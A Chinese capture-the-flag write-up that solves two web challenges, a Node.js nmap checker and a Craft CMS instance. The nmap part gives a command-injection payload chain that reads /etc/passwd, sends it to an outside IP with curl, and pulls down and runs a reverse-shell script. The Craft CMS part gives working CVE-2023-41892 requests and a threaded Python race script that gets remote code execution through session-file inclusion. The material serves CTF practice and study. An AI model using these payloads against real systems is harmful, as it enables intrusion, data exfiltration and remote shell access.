xctf-actf-wp
前言
最终成绩是21名
第一天面试去了,早上和晚上抽空看了下做出了craftcms (非预期解法,因为预期解法打不通)
第二天白天睡了一天(连续一个星期8点钟起床高强度面试,顶不住了),凌晨2点打到7点出了Ave Mujica's Masquerade,然后倒头就睡到深夜
边面试边比赛真的很难顶,好在这次题目质量非常不错!
Ave Mujica's Masquerade
// Inspiration: SekaiCTF scanner service
const express = require('express');
const { spawn } = require('child_process');
const shellQuote = require('shell-quote');
const fs = require('fs');
const app = express();
const port = 3333;
app.use(express.static('public'));
app.get('/', (req, res) => {
fs.readFile(__dirname + '/public/index.html', 'utf8', (err, data) => {
if (err) {
console.error(err);
res.status(500).send('Internal Server Error');
} else {
// Send the HTML content
res.send(data);
}
})
}
);
app.get('/checker', (req, res) => {
let url = req.query.url;
// url 可控
if (url) {
let host;
let port;
// MakE it Safer!!!!!
if (url.includes(":")) {
const parts = url.split(":"); // 冒号分隔
host = parts[0]; // 冒号分隔的第一个是host
port = parts.slice(1).join(":"); //
} else {
host = url; // 若不包含冒号,则host直接等于url -》urlencode bypass?
}
// port host 都可控
if (port) {
command = shellQuote.quote(["nmap", "-p", port, host]); // Construct the shell command
// 但是这里的回显仍然是string类型
// shellQuote.quote: https://www.npmjs.com/package/shell-quote
} else {
command = shellQuote.quote(["nmap", "-p", "80", host]);
}
nmap = spawn("bash", ["-c", command]);
console.log(command);
nmap.on('exit', function (code) {
console.log('child process exited with code ' + code.toString());
if (code !== 0) {
res.send(`Error executing command!!!`);
} else {
res.send(`Ok...`);
}
});
} else {
res.send('No parameter provided.');
}
});
app.listen(port, () => {
console.log(`Server listening on port ${port}`);
});
process.on('uncaughtException', (err) => {
console.error('Uncaught Exception:', err);
});
Npm install安装的时候显示shell-quote≤1.7.2
官方使用手册:shell-quote - npm (npmjs.com)
建议npm install , node server.js 他的docker我build不起来
调了一下,还真是
绕过去
这里他就忘了匹配了hhh,煞笔正则
payload
?url=127.0.0.1:80%60:%6080:80
怎么只有一个不转义?
?url=127.0.0.1:ab`:%23abc`:%23
但是反引号中间的其他字符会转义
?url=127.0.0.1:ab`:%23;a`whoami`a`:%23
纯字母rce
?url=127.0.0.1:ab`:%23;a`whoami``pwd`a\\:%23a`:%23
简化了一下
?url=127.0.0.1:ab`:`pwd`a:%23`:%23
空格用$IFS绕
/checker?url=127.0.0.1:ab`:`cat$IFS/etc/passwd`a:%23`:%23
题目给了curl,但是怎么rce呢
checker?url=127.0.0.1:ab`:`curl$IFS-T$IFS/etc/passwd$IFS\\8.129.42.140`a:%23`:%23
开始可以传一些东西了,靶机上复现成功,但是无奈flag名字叫flag-xxxxxx
通配符尝试失败后,尝试远程文件传输并运行成功!
wp如下:
本地写一个文件1,内容是反弹shell
/checker?url=127.0.0.1:ab`:`curl$IFS-o$IFS/tmp/thaishell$IFS\\8.129.42.140/1`a:%23`:%23
curl传个文件过去
/checker?url=127.0.0.1:ab`:`bash$IFS/tmp/thaishell`a:%23`:%23
bash运行,成功收到反弹shell
Craft cms
搭建文档:https://craftcms.com/docs/getting-started-tutorial/install/
或者看这个搭建:https://craftcms.com/docs/4.x/installation.html#step-1-download-craft
是*CVE-2023-41892*
http://www.bmth666.cn/2023/09/26/CVE-2023-41892-CraftCMS远程代码执行漏洞分析/
问题是怎么看版本,不然就盲打了
POST /vendor/guzzlehttp/psr7/src/FnStream.php HTTP/1.1
Host: 61.147.171.105:59898
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213
action=conditions/render&configObject=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream","__construct()":[{"close":null}],"_fn_close":"phpinfo"}}
flag不在phpinfo(环境变量里)
单纯一个call_user_func可以rce吗,我印象中不行的
尝试文件包含的exp
但是不知道log目录在哪
在phpinfo里,error_log /var/www/html/storage/logs/phperrors.log
被ban了,后面怎么实现的,我猜是字符串匹配(黑名单)
还有另一种解法是Imagick,试了一下惜败了555(这个是预期解)
session文件包含,坑点是//会被python识别为/, 卡了两年
# -*- coding: utf-8 -*-
# @author:lonmar
import io
import requests
import threading
sessID = 'flag'
url = 'http://61.147.171.105:50768/' #这里改为题目的url地址
def write(session):
while event.isSet():
f = io.BytesIO(b'a' * 1024 * 50)
response = session.post(
url,
cookies={'PHPSESSID': sessID},
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system(\'ls /\');system(\'/readflag > /tmp/1.txt\');system(\'cat /tmp/1.txt\');?>'}, #session中写入一句话
files={'file': ('test.txt', f)} #写入文件
)
def read(session):
while event.isSet():
# response = session.get(url + '?file=/tmp/sess_{}'.format(sessID))
payload = '''{"name":"configObject","as ":{"class":"\\\\yii\\\\rbac\\\\PhpManager","__construct()":[{"itemFile":"/tmp/sess_flag"}]}}'''
post_data={
"action":"conditions/render",
"configObject":"craft\elements\conditions\ElementCondition",
"config":payload
}
response = session.post(url ,data=post_data)
if 'test' in response.text: #如果成功打开文件,则竞争成功!
print(response.text)
print("[*]success!")
event.clear()
else:
print('[*]retrying...')
if __name__ == '__main__':
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1, 100):
threading.Thread(target=write, args=(session,)).start()
for i in range(1, 100):
threading.Thread(target=read, args=(session,)).start()